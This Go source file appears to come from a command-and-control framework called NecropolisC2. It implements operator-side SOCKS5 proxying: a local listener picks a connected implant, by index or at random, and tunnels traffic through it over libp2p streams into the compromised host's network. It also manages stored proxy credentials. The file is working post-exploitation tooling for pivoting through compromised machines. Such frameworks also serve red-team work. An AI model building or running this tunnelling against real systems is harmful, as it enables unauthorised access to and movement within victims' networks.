package core

import (
	"bufio"
	"context"
	"encoding/binary"
	"encoding/json"
	"fmt"
	"io"
	"log"
	"math/rand"
	"net"
	"os"
	"path/filepath"
	"strconv"
	"time"

	"github.com/libp2p/go-libp2p/core/network"
	"github.com/libp2p/go-libp2p/core/peer"
	"golang.org/x/crypto/bcrypt"

	"github.com/Yenn503/NecropolisC2/pkg/transport"
)

type SocksInstance struct {
	Port       int
	ImplantID  string
	Username   string
	Listener   net.Listener
	Cancel     context.CancelFunc
	StartTime  time.Time
	Random     bool
}

type SocksCreds struct {
	Username     string `json:"username"`
	PasswordHash string `json:"password_hash"`
}

func socksConfigPath() string {
	return filepath.Join(necropolisDir(), "socks.json")
}

func LoadSocksCreds() (*SocksCreds, error) {
	data, err := os.ReadFile(socksConfigPath())
	if err != nil {
		return nil, err
	}
	c := &SocksCreds{}
	if err := json.Unmarshal(data, c); err != nil {
		return nil, err
	}
	return c, nil
}

func SaveSocksCreds(c *SocksCreds) error {
	data, err := json.MarshalIndent(c, "", "  ")
	if err != nil {
		return fmt.Errorf("marshal socks creds: %w", err)
	}
	return os.WriteFile(socksConfigPath(), data, 0600)
}

func ClearSocksCreds() error {
	return os.Remove(socksConfigPath())
}

func hashPassword(password string) (string, error) {
	bytes, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
	if err != nil {
		return "", fmt.Errorf("bcrypt hash: %w", err)
	}
	return string(bytes), nil
}

func checkPassword(password, hash string) bool {
	return bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)) == nil
}

func (o *Operator) pickImplantPeerID(idArg string) (string, *ImplantRecord, error) {
	implants := o.ListImplants()
	var connected []*ImplantRecord
	for _, rec := range implants {
		if !rec.Disconnected {
			connected = append(connected, rec)
		}
	}
	if len(connected) == 0 {
		return "", nil, fmt.Errorf("no connected implants")
	}

	if idArg == "random" {
		choice := connected[rand.Intn(len(connected))]
		return choice.PeerID, choice, nil
	}

	if idArg == "" {
		return "", nil, fmt.Errorf("specify an implant index or 'random'")
	}

	idx, err := strconv.Atoi(idArg)
	if err != nil {
		return "", nil, fmt.Errorf("bad index %q", idArg)
	}
	if idx < 0 || idx >= len(connected) {
		return "", nil, fmt.Errorf("index %d out of range (0-%d)", idx, len(connected)-1)
	}
	rec := connected[idx]
	return rec.PeerID, rec, nil
}

func (o *Operator) pickRandomImplant() (*ImplantRecord, error) {
	implants := o.ListImplants()
	var connected []*ImplantRecord
	for _, rec := range implants {
		if !rec.Disconnected {
			connected = append(connected, rec)
		}
	}
	if len(connected) == 0 {
		return nil, fmt.Errorf("no connected implants")
	}
	return connected[rand.Intn(len(connected))], nil
}



func (o *Operator) SocksStart(implantPeerID string, port int, username, password string) error {
	random := implantPeerID == "random"

	var pid peer.ID
	if random {
		rec, err := o.pickRandomImplant()
		if err != nil {
			return fmt.Errorf("no implants available for random socks: %w", err)
		}
		pid, err = peer.Decode(rec.PeerID)
		if err != nil {
			return fmt.Errorf("decode random implant peer id: %w", err)
		}
		implantPeerID = rec.PeerID
		log.Printf("[socks] random selection picked implant %s@%s", rec.Name, rec.PeerID)
	} else {
		var err error
		pid, err = peer.Decode(implantPeerID)
		if err != nil {
			return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
		}
	}

	o.socksMu.Lock()
	if _, exists := o.socksProxies[port]; exists {
		o.socksMu.Unlock()
		return fmt.Errorf("SOCKS proxy already running on port %d", port)
	}
	o.socksMu.Unlock()

	listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
	if err != nil {
		return fmt.Errorf("listen 127.0.0.1:%d: %w", port, err)
	}

	ctx, cancel := context.WithCancel(o.ctx)

	inst := &SocksInstance{
		Port:      port,
		ImplantID: implantPeerID,
		Username:  username,
		Listener:  listener,
		Cancel:    cancel,
		StartTime: time.Now(),
		Random:    random,
	}

	o.socksMu.Lock()
	o.socksProxies[port] = inst
	o.socksMu.Unlock()

	log.Printf("[socks] SOCKS5 proxy on 127.0.0.1:%d -> implant %s (auth: %s)", port, implantPeerID, username)

	go func() {
		<-ctx.Done()
		listener.Close()
		o.socksMu.Lock()
		delete(o.socksProxies, port)
		o.socksMu.Unlock()
	}()

	go func() {
		for {
			conn, err := listener.Accept()
			if err != nil {
				return
			}
			go o.handleSocksConn(conn, pid, username, password, random)
		}
	}()

	return nil
}

func (o *Operator) SocksList() []*SocksInstance {
	o.socksMu.Lock()
	defer o.socksMu.Unlock()
	out := make([]*SocksInstance, 0, len(o.socksProxies))
	for _, inst := range o.socksProxies {
		out = append(out, inst)
	}
	return out
}

func (o *Operator) SocksStop(port int) error {
	o.socksMu.Lock()
	inst, ok := o.socksProxies[port]
	o.socksMu.Unlock()

	if !ok {
		return fmt.Errorf("no SOCKS proxy running on port %d", port)
	}

	inst.Cancel()
	return nil
}

func (o *Operator) handleSocksConn(client net.Conn, implantID peer.ID, username, password string, _ bool) {
	defer client.Close()

	br := bufio.NewReader(client)
	_ = client.SetDeadline(time.Now().Add(30 * time.Second))

	ver, err := br.ReadByte()
	if err != nil || ver != 5 {
		return
	}

	nmethods, err := br.ReadByte()
	if err != nil {
		return
	}

	methods := make([]byte, nmethods)
	if _, err = io.ReadFull(br, methods); err != nil {
		return
	}

	authRequired := username != ""
	offersAuth := false
	for _, m := range methods {
		if m == 2 {
			offersAuth = true
			break
		}
	}

	if authRequired && !offersAuth {
		client.Write([]byte{5, 0xff})
		return
	}

	if offersAuth {
		client.Write([]byte{5, 2})

		aver, err := br.ReadByte()
		if err != nil || aver != 1 {
			return
		}

		ulen, err := br.ReadByte()
		if err != nil {
			return
		}
		unameBytes := make([]byte, ulen)
		if _, err = io.ReadFull(br, unameBytes); err != nil {
			return
		}

		plen, err := br.ReadByte()
		if err != nil {
			return
		}
		passBytes := make([]byte, plen)
		if _, err = io.ReadFull(br, passBytes); err != nil {
			return
		}

		if string(unameBytes) != username || string(passBytes) != password {
			client.Write([]byte{1, 1})
			return
		}
		client.Write([]byte{1, 0})
	} else {
		client.Write([]byte{5, 0})
	}

	req := make([]byte, 4)
	if _, err = io.ReadFull(br, req); err != nil {
		return
	}

	if req[0] != 5 || req[1] != 1 {
		client.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0})
		return
	}

	var host string
	switch req[3] {
	case 1:
		addr := make([]byte, 4)
		if _, err = io.ReadFull(br, addr); err != nil {
			return
		}
		host = net.IP(addr).String()
	case 3:
		addrLen, err := br.ReadByte()
		if err != nil {
			return
		}
		addr := make([]byte, addrLen)
		if _, err = io.ReadFull(br, addr); err != nil {
			return
		}
		host = string(addr)
	case 4:
		addr := make([]byte, 16)
		if _, err = io.ReadFull(br, addr); err != nil {
			return
		}
		host = net.IP(addr).String()
	default:
		client.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0})
		return
	}

	portBytes := make([]byte, 2)
	if _, err = io.ReadFull(br, portBytes); err != nil {
		return
	}
	port := binary.BigEndian.Uint16(portBytes)
	target := net.JoinHostPort(host, fmt.Sprintf("%d", port))

	client.SetDeadline(time.Time{})

	ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second)
	defer cancel()
	ctx = network.WithAllowLimitedConn(ctx, "socks")

	s, err := o.node.NewStream(ctx, implantID, transport.SocksProtocolID)
	if err != nil {
		log.Printf("[socks] stream to %s: %v", implantID.String(), err)
		client.Write([]byte{5, 1, 0, 1, 0, 0, 0, 0, 0, 0})
		return
	}
	defer s.Close()

	if _, err := fmt.Fprintf(s, "%s\n", target); err != nil {
		log.Printf("[socks] send target: %v", err)
		client.Write([]byte{5, 1, 0, 1, 0, 0, 0, 0, 0, 0})
		return
	}

	client.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})

	done := make(chan struct{}, 2)
	go func() {
		io.Copy(s, br)
		done <- struct{}{}
	}()
	go func() {
		io.Copy(client, s)
		done <- struct{}{}
	}()
	<-done
	<-done
}
